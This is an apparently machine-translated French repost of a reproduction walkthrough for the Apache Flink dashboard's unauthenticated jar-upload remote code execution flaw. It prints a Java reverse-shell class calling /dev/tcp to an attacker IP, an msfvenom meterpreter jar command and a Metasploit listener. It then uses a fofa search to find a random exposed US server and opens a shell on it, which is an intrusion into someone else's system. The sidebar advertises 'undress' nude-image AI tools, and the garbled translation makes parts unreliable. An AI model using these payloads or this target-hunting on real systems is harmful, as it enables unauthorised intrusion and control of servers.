Table des matières
Construction de l'environnement :
Récurrence de la vulnérabilité :
Maison Opération et maintenance Sécurité Exemple d'analyse de l'exécution de code à distance provoquée par le téléchargement d'un package jar dans Apache Flink

Exemple d'analyse de l'exécution de code à distance provoquée par le téléchargement d'un package jar dans Apache Flink

May 15, 2023 pm 01:01 PM
flink jar包

Description de la vulnérabilité :

Le 11 novembre 2019, l'ingénieur en sécurité Henry Chen a divulgué une vulnérabilité qui permet à Apache Flink de télécharger des packages jar sans autorisation, conduisant à l'exécution de code à distance. Étant donné que le tableau de bord Apache Flink est accessible par défaut sans authentification, un shell peut être obtenu en téléchargeant un package jar malveillant et en déclenchant l'exécution de code malveillant.

Portée d'influence

<= 1.9.1 (dernière version)

Construction de l'environnement :

(1) Installez Java à l'avance (nécessite java8 ou supérieur)

apache flink任意jar包上传导致远程代码执行的示例分析

(2) Téléchargez flink- 1.9.1

Adresse de téléchargement : https://www.apache.org/dyn/closer.lua/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz

(3) Décompressez et téléchargez Le package compressé :

tar -zxf flink-1.9.1-bin-scala_2.11.tgz
Copier après la connexion

(4) Allez dans le répertoire décompressé et allez dans son répertoire bin :

apache flink任意jar包上传导致远程代码执行的示例分析

(5) Démarrez flink :

./start-cluster.sh
Copier après la connexion

(6) Vérification de l'accès au navigateur (le port par défaut est 8081):

http://172.26.1.108:8081

apache flink任意jar包上传导致远程代码执行的示例分析

Lorsque l'image ci-dessus apparaît, la construction est réussie.

(7) Configurez le démarrage automatique au démarrage (j'ai du mal ici depuis un longtemps et je ne peux pas me lever. Directement source /etc /rc.d/rc.local peut être démarré, mais flink ne sera pas démarré après le redémarrage. Enfin, une solution a été trouvée)

apache flink任意jar包上传导致远程代码执行的示例分析

Paramètres de démarrage automatique. au démarrage

Récurrence de la vulnérabilité :

étapes de production du package jar :

(1) Reportez-vous à l'article https://klionsec.github.io/2016/09/27/revese-shell/#menu pour utiliser Java pour Rebondissez le shell

apache flink任意jar包上传导致远程代码执行的示例分析

remember pour modifier l'IP et le port:

apache flink任意jar包上传导致远程代码执行的示例分析

Code:

<p >package shell;public class Revs {   <br/> /**    * @param args    * @throws Exception     */    <br/> public static void main(String[] args) throws Exception {        <br/> // TODO Auto-generated method stub        <br/> Runtime r = Runtime.getRuntime();        <br/> String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.12/9999;<br> cat <&5 | while read line; do $line 2>&5 >&amp5; done"};        <br> Process p = r.exec(cmd);        <br> p.waitFor();<br>     }}</p>
<p>(2) 利用eclipse将其导出为一个可执行的jar包: a. 点击 File-->Export(导出)</p>
<p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/887/227/168412687669673.jpg" class="lazy" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p>
<p>b. le projet Java correspondant, le chemin d'exportation et le nom du fichier d'exportation</p>
<p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/887/227/168412687683044.jpg" class="lazy" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p>
<p>image</p>
<p> comme celle-ci Un package jar pour le shell de rebond est généré<img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/887/227/168412687618388.jpg" class="lazy" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p>msf génère un cheval de pot :<p></p>(1) Utilisez msfvenom pour générer un cheval de pot :<p> </p>
<pre class="brush:php;toolbar:false">msfvenom -p java/meterpreter/reverse_tcp LHOST=172.26.1.156 LPORT=9999 W >text.jar
Copier après la connexion
(2) Ouvrez le module d'écoute de msf et écoutez le port 9999 (à utiliser avec notre jar Le port défini par le cheval est cohérent)

use exploit/multi/handlerset payload java/meterpreter/reverse_tcpset LHOST 172.26.1.156set LPORT 9999exploit
Copier après la connexion

(3) Après avoir téléchargé le jar horse que nous avons généré et soumis dessus (se référer à la reproduction ci-dessous pour cette partie de l'opération), vous pouvez constater que nous avons bien reçu la coque :


apache flink任意jar包上传导致远程代码执行的示例分析 Reproduction locale :

(1) Cible d'accès : apache flink任意jar包上传导致远程代码执行的示例分析

(2) Cliquez sur Soumettre un nouveau travail pour ouvrir la page de téléchargement du package jar :

apache flink任意jar包上传导致远程代码执行的示例分析

(3) Cliquez sur Ajouter un nouveau pour sélectionner le package jar que nous avons créé :

apache flink任意jar包上传导致远程代码执行的示例分析

(4) Surveillez le port de notre machine (le package jar le paquet que nous avons fabriqué fait directement rebondir la coque)

(5) Cliquez sur le paquet de pot que nous venons de télécharger :apache flink任意jar包上传导致远程代码执行的示例分析

(6) Ensuite, cliquez simplement sur Soumettre et vous pouvez voir que nous avons reçu avec succès la coque :

apache flink任意jar包上传导致远程代码执行的示例分析

Site Internet :

fofa Mots-clés :apache flink任意jar包上传导致远程代码执行的示例分析

"apache-flink-dashboard" && country="US"

(1) Trouvez une cible aléatoire :

apache flink任意jar包上传导致远程代码执行的示例分析

(2) Cliquez sur Soumettre un nouveau travail, vous pouvez voir que cela nous permet de télécharger le pot packages

apache flink任意jar包上传导致远程代码执行的示例分析

(3) Utilisez la fonction flink pour télécharger le package jar pour télécharger notre package jar :

#🎜 🎜## 🎜🎜#apache flink任意jar包上传导致远程代码执行的示例分析(4) Après le téléchargement, nous surveillons le port sur notre vps

(5) Revenez ensuite au navigateur, sélectionnez le package jar que nous venons de télécharger, et cliquez sur Soumettre Soumettre, vous pouvez voir que notre vps a reçu avec succès le shell Paramètres recommandés Politique de pare-feu, autoriser uniquement les adresses IP de la liste blanche à accéder au service Apache Flink et ajouter une authentification Digest pour le service dans le proxy Web (tel qu'Apache httpd).

Faites toujours attention au site officiel et attendez les nouvelles versions ou les mises à jour de correctifs

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn

Outils d'IA chauds

Undresser.AI Undress

Undresser.AI Undress

Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover

AI Clothes Remover

Outil d'IA en ligne pour supprimer les vêtements des photos.

Undress AI Tool

Undress AI Tool

Images de déshabillage gratuites

Clothoff.io

Clothoff.io

Dissolvant de vêtements AI

AI Hentai Generator

AI Hentai Generator

Générez AI Hentai gratuitement.

Article chaud

R.E.P.O. Crystals d'énergie expliqués et ce qu'ils font (cristal jaune)
2 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
Repo: Comment relancer ses coéquipiers
1 Il y a quelques mois By 尊渡假赌尊渡假赌尊渡假赌
Hello Kitty Island Adventure: Comment obtenir des graines géantes
4 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
Combien de temps faut-il pour battre Split Fiction?
3 Il y a quelques semaines By DDD

Outils chauds

Bloc-notes++7.3.1

Bloc-notes++7.3.1

Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise

SublimeText3 version chinoise

Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1

Envoyer Studio 13.0.1

Puissant environnement de développement intégré PHP

Dreamweaver CS6

Dreamweaver CS6

Outils de développement Web visuel

SublimeText3 version Mac

SublimeText3 version Mac

Logiciel d'édition de code au niveau de Dieu (SublimeText3)

Comment importer un package jar dans Eclipse Comment importer un package jar dans Eclipse Jan 12, 2024 pm 03:45 PM

Comment importer des packages jar dans Eclipse : 1. Créez un nouveau projet Java ; 2. Créez un dossier de bibliothèque ; 3. Copiez le package jar dans le dossier de bibliothèque ; 4. Configurez le chemin de construction du projet ; chemin de construction ; 6. Configurez le chemin de construction du projet ; 7. Vérifiez les résultats de l'importation ; 8. Précautions ; 10. Nettoyer et mettre à jour la bibliothèque ; Introduction détaillée : 1. Créez un nouveau projet Java, démarrez Eclipse IDE, sélectionnez le menu "Fichier" dans la barre de menu supérieure, etc.

Comment importer un package jar dans maven Comment importer un package jar dans maven Jan 08, 2024 pm 01:59 PM

Les étapes pour que Maven importe un package jar : 1. Téléchargez le package jar ; 2. Créez un projet Maven 3. Ajoutez des dépendances 4. Ajoutez des éléments de dépendance ; 7. Vérifiez l'importation. Introduction détaillée : 1. Téléchargez le package jar. Téléchargez d'abord le package jar requis à partir du site Web ou de l'entrepôt de code source concerné. Assurez-vous que le package jar téléchargé est compatible avec votre projet et répond aux exigences de version requises. 2. Créez un projet Maven. S'il n'y a pas encore de projet Maven, vous devez d'abord en créer un et ainsi de suite.

Tutoriel avancé Maven : exploration approfondie de diverses méthodes d'importation de packages Jar Tutoriel avancé Maven : exploration approfondie de diverses méthodes d'importation de packages Jar Feb 23, 2024 pm 02:57 PM

Titre : Tutoriel avancé Maven : Exploration approfondie de diverses méthodes d'importation de packages Jar. En tant qu'outil de gestion de projet Java, Maven est largement utilisé dans la construction de projets, la gestion des dépendances, etc. Dans le processus de développement actuel, nous utilisons souvent des packages Jar de diverses bibliothèques tierces, et comment importer efficacement des packages Jar est devenu une compétence qui doit être maîtrisée. Cet article approfondira les méthodes d'importation de packages Jar dans Maven, y compris l'utilisation de packages Jar locaux, de packages Jar d'entrepôt distant et de packages Jar personnalisés, et donnera des détails spécifiques.

Comparaison entre Spark Streaming et Flink Comparaison entre Spark Streaming et Flink Apr 19, 2024 pm 12:51 PM

SparkStreaming et Flink sont tous deux des frameworks de traitement de flux avec des fonctionnalités différentes : Modèle de programmation : SparkStreaming est basé sur le modèle SparkRDD, tandis que Flink possède sa propre API de streaming. Gestion de l'état : Flink dispose d'une gestion d'état intégrée, tandis que SparkStreaming nécessite des solutions externes. Tolérance aux pannes : Flink est basé sur des instantanés, tandis que SparkStreaming est basé sur des points de contrôle. Évolutivité : Flink est basé sur des chaînes d'opérateurs de flux, tandis que SparkStreaming est basé sur la mise à l'échelle du cluster. Dans les cas d'utilisation de l'agrégation de données en temps réel, Flink fonctionne généralement mieux que SparkStreaming car il offre un meilleur débit

Utilisez le langage Flink in Go pour obtenir un traitement efficace des flux de données Utilisez le langage Flink in Go pour obtenir un traitement efficace des flux de données Jun 15, 2023 pm 09:10 PM

Avec l’avènement de l’ère du Big Data, le traitement des données est devenu un problème auquel il faut prêter attention et résoudre dans diverses industries. En tant qu’outil de traitement de données performant, l’émergence de Flink nous apporte une solution efficace, fiable et évolutive. Dans cet article, nous présenterons comment utiliser Flink dans le langage Go pour obtenir un traitement efficace des flux de données. 1. Introduction à Flink Apache Flink est une plateforme de traitement de données distribuée open source dont l'objectif est de fournir un moyen efficace, fiable et évolutif de traiter des données à grande échelle.

Guide d'utilisation et précautions du package MySQL Jar Guide d'utilisation et précautions du package MySQL Jar Mar 01, 2024 pm 04:21 PM

Guide d'utilisation et précautions du package MySQL Jar MySQL est un système de gestion de bases de données relationnelles couramment utilisé. De nombreux projets Java utilisent MySQL comme backend pour le stockage des données. Dans un projet Java, pour interagir avec la base de données MySQL, vous devez utiliser le pilote Java (c'est-à-dire le package Jar) fourni par MySQL. Cet article présentera les directives d'utilisation et les précautions pour le package MySQL Jar, et fournira des exemples de code spécifiques pour aider les lecteurs à mieux utiliser le pilote MySQL. 1.M

Guide sur la façon d'importer correctement les packages Jar dans les projets Maven Guide sur la façon d'importer correctement les packages Jar dans les projets Maven Feb 19, 2024 pm 12:00 PM

Guide de démarrage Maven : Comment importer correctement les packages Jar ? Maven est un puissant outil de gestion de projet qui peut aider les développeurs à gérer les dépendances des projets, à créer des projets, etc. Pendant le développement du projet, nous devons souvent importer des packages Jar externes pour implémenter certaines fonctions. Cet article explique comment utiliser Maven pour importer correctement les packages Jar et fournit des exemples de code spécifiques. Tout d'abord, nous devons ajouter des dépendances sur les packages Jar requis dans le fichier pom.xml de Maven. Dans pom.xml, il y a un

Qu'est-ce que le package Jar de MySQL ? Analyse détaillée Qu'est-ce que le package Jar de MySQL ? Analyse détaillée Mar 01, 2024 pm 06:33 PM

Le package Jar de MySQL fait référence au package de pilotes Java utilisé pour connecter et faire fonctionner la base de données MySQL. Dans le développement Java, la fonction d'interaction avec la base de données MySQL doit être implémentée via le package Jar. Le package Jar de MySQL fournit une série de classes et de méthodes qui permettent aux développeurs de se connecter facilement à la base de données MySQL, d'exécuter des instructions SQL, d'obtenir des résultats de requête et d'autres opérations. Dans des circonstances normales, les développeurs peuvent télécharger le package MySQL Jar via le site officiel ou le référentiel Maven et d'autres canaux, puis

See all articles